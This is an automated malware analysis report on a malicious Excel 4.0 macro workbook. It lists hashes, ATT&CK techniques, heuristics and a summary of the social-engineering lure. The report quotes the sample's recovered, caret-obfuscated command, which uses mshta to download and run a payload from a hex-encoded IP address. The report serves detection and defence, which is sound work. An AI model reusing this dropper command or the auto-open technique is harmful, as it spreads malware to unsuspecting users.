Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 2eb09f532e4f6b48…

MALICIOUS

Office (OLE) / .XLS

65.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 37860ce143bef555f74a4027c9ee57be SHA-1: 0cb0bd13959f4a6aba45f7fa2ebc4d8a196624d7 SHA-256: 2eb09f532e4f6b482725e8580437b47ab8d6f5604a279c13510737915251d856
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: User Execution of Malicious Code T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro sheet (XLM) that contains an Auto_Open macro. The macro defines a string that is then executed as a command: "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html". This command attempts to download and execute a payload from the specified URL. The document body also contains a lure to "Enable Editing" and "Enable Content", which is a common social engineering tactic to bypass macro security settings.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes